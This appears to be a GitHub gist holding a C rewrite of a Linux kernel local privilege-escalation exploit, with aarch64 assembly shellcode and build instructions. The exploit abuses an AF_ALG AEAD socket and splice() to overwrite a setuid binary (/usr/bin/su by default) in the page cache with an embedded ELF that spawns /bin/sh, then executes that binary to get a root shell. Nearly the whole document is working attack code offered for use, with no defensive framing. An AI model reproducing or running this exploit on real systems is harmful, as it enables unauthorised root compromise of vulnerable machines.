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alufers/copy_fail.c

Last active May 4, 2026 14:47
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copy fail c rewrite
Raw
copy_fail.c
// Compile: zig cc -target aarch64-linux-musl -static exp.c -o main_aarch64
// Embedded binary is for aarch64, the commented out is the original x86_64 one.
#define _GNU_SOURCE /* See feature_test_macros(7) */
#define _FILE_OFFSET_BITS 64
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <memory.h>
#include <fcntl.h>
void c(int f, int t, const uint8_t payload[4]) {
// socket(38, 5, 0)
int a = socket(AF_ALG, SOCK_SEQPACKET, 0);
// bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "authencesn(hmac(sha256),cbc(aes))",
};
int retval = bind(a, (struct sockaddr *)&sa, sizeof(sa));
if (retval < 0) {
perror("bind");
exit(1);
}
// setsockopt(279, 1, bytes.fromhex("0800010000000010" + "00" * 32))
uint8_t key[40] = {0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10};
setsockopt(a, SOL_ALG, ALG_SET_KEY, key, 40);
// setsockopt(279, 5, None, 4)
setsockopt(a, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
// accept()
int u = accept(a, NULL, NULL);
int o = t + 4;
// sendmsg([b"A"*4 + payload], [(279,3,b"\x00"*4), (279,2,b"\x10"+b"\x00"*19), (279,4,b"\x08"+b"\x00"*3)], 32768)
uint8_t msg_data[8];
memset(msg_data, 'A', 4);
memcpy(msg_data + 4, payload, 4);
struct iovec iov = { .iov_base = msg_data, .iov_len = 8 };
uint8_t buf_op[4] = {0};
uint8_t buf_iv[20] = {0x10};
uint8_t buf_ad[4] = {0x08};
size_t cmsg_space =
CMSG_SPACE(4) +
CMSG_SPACE(20) +
CMSG_SPACE(4);
uint8_t *cmsg_buf = calloc(1, cmsg_space);
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = cmsg_buf,
.msg_controllen = cmsg_space,
};
struct cmsghdr *cm;
cm = CMSG_FIRSTHDR(&msg);
cm->cmsg_level = SOL_ALG;
cm->cmsg_type = ALG_SET_OP;
cm->cmsg_len = CMSG_LEN(4);
memcpy(CMSG_DATA(cm), buf_op, 4);
cm = CMSG_NXTHDR(&msg, cm);
cm->cmsg_level = SOL_ALG;
cm->cmsg_type = ALG_SET_IV;
cm->cmsg_len = CMSG_LEN(20);
memcpy(CMSG_DATA(cm), buf_iv, 20);
cm = CMSG_NXTHDR(&msg, cm);
cm->cmsg_level = SOL_ALG;
cm->cmsg_type = 4;
cm->cmsg_len = CMSG_LEN(4);
memcpy(CMSG_DATA(cm), buf_ad, 4);
sendmsg(u, &msg, MSG_MORE);
free(cmsg_buf);
// pipe()
int pipefd[2];
pipe(pipefd);
// splice(f, w, o, offset_src=0) — f has offset, w does not
loff_t off_src = 0;
splice(f, &off_src, pipefd[1], NULL, o, 0);
// splice(r, u.fileno(), o) — no offsets on either side
splice(pipefd[0], NULL, u, NULL, o, 0);
// recv(8 + t), ignoring errors
uint8_t rbuf[8 + 65536];
recv(u, rbuf, 8 + t, 0);
}
static unsigned char x[] = {
/* 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9e, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x31, 0xc0, 0x31, 0xff, 0xb0, 0x69, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x0f,
0x00, 0x00, 0x00, 0x31, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x0f, 0x05, 0x31,
0xff, 0x6a, 0x3c, 0x58, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73,
0x68, 0x00, 0x00, 0x00*/
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0xb7, 0x00, 0x01, 0x00, 0x00, 0x00,
0x0c, 0x01, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x60, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x03, 0x00, 0x40, 0x00,
0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x2c, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x2c, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x2c, 0x01, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00,
0x2c, 0x01, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xe8, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe8, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00,
0x03, 0x00, 0x00, 0x00, 0x47, 0x4e, 0x55, 0x00, 0x0b, 0x3f, 0x5f, 0x92,
0xe5, 0x8c, 0x1e, 0x44, 0xc8, 0x15, 0xa7, 0xe3, 0x97, 0x66, 0xf7, 0x70,
0x4c, 0x09, 0x19, 0xa0, 0xff, 0x43, 0x00, 0xd1, 0xe0, 0x00, 0x08, 0x10,
0xe0, 0x03, 0x00, 0xf9, 0xff, 0x07, 0x00, 0xf9, 0xe1, 0x03, 0x00, 0x91,
0xe2, 0x03, 0x1f, 0xaa, 0xa8, 0x1b, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x00, 0x2e, 0x73, 0x68,
0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2e, 0x6e, 0x6f, 0x74, 0x65,
0x2e, 0x67, 0x6e, 0x75, 0x2e, 0x62, 0x75, 0x69, 0x6c, 0x64, 0x2d, 0x69,
0x64, 0x00, 0x2e, 0x74, 0x65, 0x78, 0x74, 0x00, 0x2e, 0x64, 0x61, 0x74,
0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00,
0x07, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xe8, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x1e, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0c, 0x01, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0c, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x01, 0x41, 0x00,
0x00, 0x00, 0x00, 0x00, 0x2c, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
int main(int argc, char *argv[]) {
const char *BIN_PATH = "/usr/bin/su";
if (argc > 1) {
BIN_PATH = argv[1];
}
int f = open(BIN_PATH, 0);
if (f < 0) {
perror("open");
return 1;
}
size_t i = 0;
while (i < sizeof(x)) {
c(f, i, x + i);
i += 4;
}
system(BIN_PATH);
}
Raw
shell.s
// shell.s - execve("/bin/sh", ["/bin/sh", NULL], NULL) for aarch64
// clang --target=aarch64-linux-gnu -nostdlib -static -Wl,--strip-all -o shell shell.s
// then xxd -i ./shell and paste into the above code
.section .data
binsh: .asciz "/bin/sh"
.section .text
.global _start
_start:
// Reserve 16 bytes on stack (aligned), store argv array there
sub sp, sp, #16
adr x0, binsh // x0 = &"/bin/sh"
str x0, [sp] // argv[0] = &"/bin/sh"
str xzr, [sp, #8] // argv[1] = NULL
mov x1, sp // x1 = argv
mov x2, xzr // x2 = envp = NULL
mov x8, #221 // execve syscall
svc #0
@alufers
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alufers commented Apr 30, 2026

Oh nice, thanks. Will update the files.

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